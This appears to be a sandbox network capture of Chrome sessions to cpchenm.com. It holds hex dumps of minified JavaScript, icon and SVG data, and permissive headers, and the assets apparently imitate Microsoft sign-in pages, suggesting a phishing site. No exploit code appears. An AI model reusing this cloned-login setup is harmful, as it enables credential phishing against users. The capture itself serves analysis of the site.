c.ProofUpPage:t.authenticatorNudgeScreen&&n.push(t.authenticatorNudgeScreen),t.conditionalAccess&&n.push(t.conditionalAccess);break;case c.ErrorPage:t.admin
2024-11-12 16:30:03 UTC	4716	IN	Data Raw: 6f 6d 43 73 73 26 26 6e 2e 70 75 73 68 28 28 72 3d 74 2e 63 75 73 74 6f 6d 43 73 73 2c 65 2e 63 75 73 74 6f 6d 43 73 73 4c 6f 61 64 65 72 2e 6c 6f 61 64 41 73 79 6e 63 28 72 29 29 29 2c 73 2e 61 6c 6c 53 65 74 74 6c 65 64 28 6f 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 72 3d 5b 5d 3b 61 2e 66 6f 72 45 61 63 68 28 74 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 26 26 22 66 75 6c 66 69 6c 6c 65 64 22 3d 3d 3d 74 2e 73 74 61 74 75 73 26 26 74 2e 76 61 6c 75 65 26 26 28 72 3d 72 2e 63 6f 6e 63 61 74 28 74 2e 76 61 6c 75 65 29 29 7d 29 29 2c 65 2e 73 74 72 69 6e 67 73 28 72 29 2c 65 2e 73 74 72 69 6e 67 73 2e 69 73 4c 6f 61 64 43 6f 6d 70 6c 65 74 65 28 21 30 29 7d 29 29 2c 73 2e 61 6c 6c 53 65 74 74 6c 65 64 28 6e 2e 63 6f 6e 63 Data Ascii: omCss&&n.push((r=t.customCss,e.customCssLoader.loadAsync(r))),s.allSettled(o).then((function(t){var r=[];a.forEach(t,(function(t){t&&"fulfilled"===t.status&&t.value&&(r=r.concat(t.value))})),e.strings(r),e.strings.isLoadComplete(!0)})),s.allSettled(n.conc
2024-11-12 16:30:03 UTC	5895	IN	Data Raw: 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 69 28 6f 28 74 29 2c 65 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 35 33 29 2c 6f 3d 4f 62 6a 65 63 74 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6f 28 6e 28 74 29 29 7d 7d 2c 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 37 31 29 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 28 74 2e 6c 65 6e 67 74 68 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 33 39 29 2c 6f 3d 72 28 35 34 37 29 2c Data Ascii: ion(t,e){return i(o(t),e)}},function(t,e,r){"use strict";var n=r(553),o=Object;t.exports=function(t){return o(n(t))}},,function(t,e,r){"use strict";var n=r(571);t.exports=function(t){return n(t.length)}},function(t,e,r){"use strict";var n=r(539),o=r(547),
2024-11-12 16:30:03 UTC	7074	IN	Data Raw: 65 20 73 74 72 69 63 74 22 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 28 31 26 74 29 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 28 32 26 74 29 2c 77 72 69 74 61 62 6c 65 3a 21 28 34 26 74 29 2c 76 61 6c 75 65 3a 65 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 34 38 29 2c 6f 3d 72 28 35 34 37 29 2c 69 3d 72 28 35 34 39 29 2c 73 3d 72 28 36 35 34 29 2c 75 3d 72 28 37 34 36 29 2c 61 3d 73 28 22 49 45 5f 50 52 4f 54 4f 22 29 2c 63 3d 4f 62 6a 65 63 74 2c 66 3d 63 2e 70 72 6f 74 6f 74 79 70 65 3b 74 2e 65 78 70 6f 72 74 73 3d 75 3f 63 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3a 66 75 6e Data Ascii: e strict";t.exports=function(t,e){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:e}}},function(t,e,r){"use strict";var n=r(548),o=r(547),i=r(549),s=r(654),u=r(746),a=s("IE_PROTO"),c=Object,f=c.prototype;t.exports=u?c.getPrototypeOf:fun
2024-11-12 16:30:03 UTC	8253	IN	Data Raw: 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 36 33 29 2c 6f 3d 72 28 35 33 38 29 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 22 46 75 6e 63 74 69 6f 6e 22 3d 3d 3d 6e 28 74 29 29 72 65 74 75 72 6e 20 6f 28 74 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 34 37 29 2c 6f 3d 72 28 35 34 34 29 2c 69 3d 72 28 35 38 35 29 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 76 61 72 20 73 2c 75 3b 72 65 74 75 72 6e 20 69 26 26 6e 28 73 3d 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 73 21 3d 3d 72 26 26 6f 28 75 3d 73 2e 70 72 6f 74 6f 74 79 70 65 29 26 26 75 21 3d 3d 72 2e 70 72 6f 74 Data Ascii: ,r){"use strict";var n=r(563),o=r(538);t.exports=function(t){if("Function"===n(t))return o(t)}},function(t,e,r){"use strict";var n=r(547),o=r(544),i=r(585);t.exports=function(t,e,r){var s,u;return i&&n(s=e.constructor)&&s!==r&&o(u=s.prototype)&&u!==r.prot
2024-11-12 16:30:03 UTC	9432	IN	Data Raw: 6f 3d 74 68 69 73 2e 6e 6f 72 6d 61 6c 69 7a 65 28 65 2c 74 68 69 73 2e 70 72 6f 78 79 4f 66 2e 6e 6f 64 65 73 5b 72 5d 2c 6e 29 2e 72 65 76 65 72 73 65 28 29 3b 72 3d 74 68 69 73 2e 69 6e 64 65 78 28 74 29 3b 76 61 72 20 69 2c 73 2c 75 3d 70 28 6f 29 3b 74 72 79 7b 66 6f 72 28 75 2e 73 28 29 3b 21 28 69 3d 75 2e 6e 28 29 29 2e 64 6f 6e 65 3b 29 7b 76 61 72 20 61 3d 69 2e 76 61 6c 75 65 3b 74 68 69 73 2e 70 72 6f 78 79 4f 66 2e 6e 6f 64 65 73 2e 73 70 6c 69 63 65 28 72 2c 30 2c 61 29 7d 7d 63 61 74 63 68 28 66 29 7b 75 2e 65 28 66 29 7d 66 69 6e 61 6c 6c 79 7b 75 2e 66 28 29 7d 66 6f 72 28 76 61 72 20 63 20 69 6e 20 74 68 69 73 2e 69 6e 64 65 78 65 73 29 72 3c 3d 28 73 3d 74 68 69 73 2e 69 6e 64 65 78 65 73 5b 63 5d 29 26 26 28 74 68 69 73 2e 69 6e 64 65 Data Ascii: o=this.normalize(e,this.proxyOf.nodes[r],n).reverse();r=this.index(t);var i,s,u=p(o);try{for(u.s();!(i=u.n()).done;){var a=i.value;this.proxyOf.nodes.splice(r,0,a)}}catch(f){u.e(f)}finally{u.f()}for(var c in this.indexes)r<=(s=this.indexes[c])&&(this.inde
2024-11-12 16:30:03 UTC	10611	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 66 28 74 29 3f 74 2e 73 6c 69 63 65 28 31 29 3a 74 7d 2c 65 2e 63 6f 6d 70 61 72 65 42 79 4f 72 69 67 69 6e 61 6c 50 6f 73 69 74 69 6f 6e 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 76 61 72 20 6e 3d 6c 28 74 2e 73 6f 75 72 63 65 2c 65 2e 73 6f 75 72 63 65 29 3b 72 65 74 75 72 6e 20 30 21 3d 3d 6e 7c 7c 30 21 3d 3d 28 6e 3d 74 2e 6f 72 69 67 69 6e 61 6c 4c 69 6e 65 2d 65 2e 6f 72 69 67 69 6e 61 6c 4c 69 6e 65 29 7c 7c 30 21 3d 3d 28 6e 3d 74 2e 6f 72 69 67 69 6e 61 6c 43 6f 6c 75 6d 6e 2d 65 2e 6f 72 69 67 69 6e 61 6c 43 6f 6c 75 6d 6e 29 7c 7c 72 7c 7c 30 21 3d 3d 28 6e 3d 74 2e 67 65 6e 65 72 61 74 65 64 43 6f 6c 75 6d 6e 2d 65 2e 67 65 6e 65 72 61 74 65 64 43 6f 6c 75 6d 6e 29 7c 7c Data Ascii: :function(t){return f(t)?t.slice(1):t},e.compareByOriginalPositions=function(t,e,r){var n=l(t.source,e.source);return 0!==n\|\|0!==(n=t.originalLine-e.originalLine)\|\|0!==(n=t.originalColumn-e.originalColumn)\|\|r\|\|0!==(n=t.generatedColumn-e.generatedColumn)\|\|
2024-11-12 16:30:03 UTC	11790	IN	Data Raw: 72 61 79 42 75 66 66 65 72 2c 20 41 72 72 61 79 2c 20 6f 72 20 61 72 72 61 79 2d 6c 69 6b 65 20 6f 62 6a 65 63 74 2e 22 29 7d 28 74 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 74 29 7b 69 66 28 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 22 73 69 7a 65 22 20 61 72 67 75 6d 65 6e 74 20 6d 75 73 74 20 62 65 20 61 20 6e 75 6d 62 65 72 27 29 3b 69 66 28 74 3c 30 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 27 22 73 69 7a 65 22 20 61 72 67 75 6d 65 6e 74 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 65 67 61 74 69 76 65 27 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 74 2c 65 29 7b 69 66 28 66 28 65 29 2c 74 3d 75 28 74 2c 65 3c 30 3f 30 3a 30 7c 70 28 65 29 29 2c 21 61 2e Data Ascii: rayBuffer, Array, or array-like object.")}(t,e)}function f(t){if("number"!=typeof t)throw new TypeError('"size" argument must be a number');if(t<0)throw new RangeError('"size" argument must not be negative')}function l(t,e){if(f(e),t=u(t,e<0?0:0\|p(e)),!a.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.22	49242	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:30:01 UTC	712	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://tvrceocprq.cpchenm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:30:01 UTC	1115	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: image/x-icon Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:30:01 GMT Etag: 0x8D8731230C851A6 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT
2024-11-12 16:30:01 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 33 30 30 31 5a 2d 31 35 34 38 37 39 39 39 64 38 37 74 77 66 71 32 68 43 31 57 41 57 64 36 71 63 30 30 30 30 30 30 30 36 67 30 30 30 30 30 30 30 30 30 32 74 70 34 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T163001Z-15487999d87twfq2hC1WAWd6qc00000006g0000000002tp4X-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:30:01 UTC	1991	IN	Data Raw: 34 33 31 36 0d 0a 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 Data Ascii: 4316h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333
2024-11-12 16:30:01 UTC	559	IN	Data Raw: 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: 3333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 3333333333333333
2024-11-12 16:30:01 UTC	4716	IN	Data Raw: 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 Data Ascii: 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333""""""""""""""""""""""""""""""
2024-11-12 16:30:03 UTC	5895	IN	Data Raw: 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 Data Ascii: UUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUU
2024-11-12 16:30:03 UTC	4019	IN	Data Raw: 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: <<<<<<<<<<<<<<<<<<<<<
2024-11-12 16:30:03 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.22	49240	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:30:01 UTC	726	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://tvrceocprq.cpchenm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:30:01 UTC	1133	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: image/svg+xml Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:30:01 GMT Etag: 0x8DB5C3F49ED96E0 Last-Modified: Wed, 24 May 2023 10:11:49 GMT
2024-11-12 16:30:01 UTC	425	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 33 30 30 31 5a 2d 31 35 34 38 37 39 39 39 64 38 37 62 38 62 37 6d 68 43 31 57 41 57 67 66 63 6e 30 30 30 30 30 30 30 30 67 67 30 30 30 30 30 30 30 30 73 65 78 68 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T163001Z-15487999d87b8b7mhC1WAWgfcn00000000gg00000000sexhX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:30:01 UTC	1592	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 61 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 34 30 2c 33 32 2e 35 37 38 56 34 30 48 33 32 56 33 36 48 32 38 56 33 32 48 32 34 56 32 38 2e 37 36 36 41 31 30 2e 36 38 39 2c 31 30 2e 36 38 39 2c 30 2c 30 2c Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.22	49243	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:30:01 UTC	735	OUT	GET /shared/1.0/content/images/appbackgrounds/49-small_2055002f2daae2ed8f69f03944c0e5d9.jpg HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://tvrceocprq.cpchenm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:30:02 UTC	1113	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: image/jpeg Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:30:01 GMT Etag: 0x8DB5C3F457E15E1 Last-Modified: Wed, 24 May 2023 10:11:42 GMT
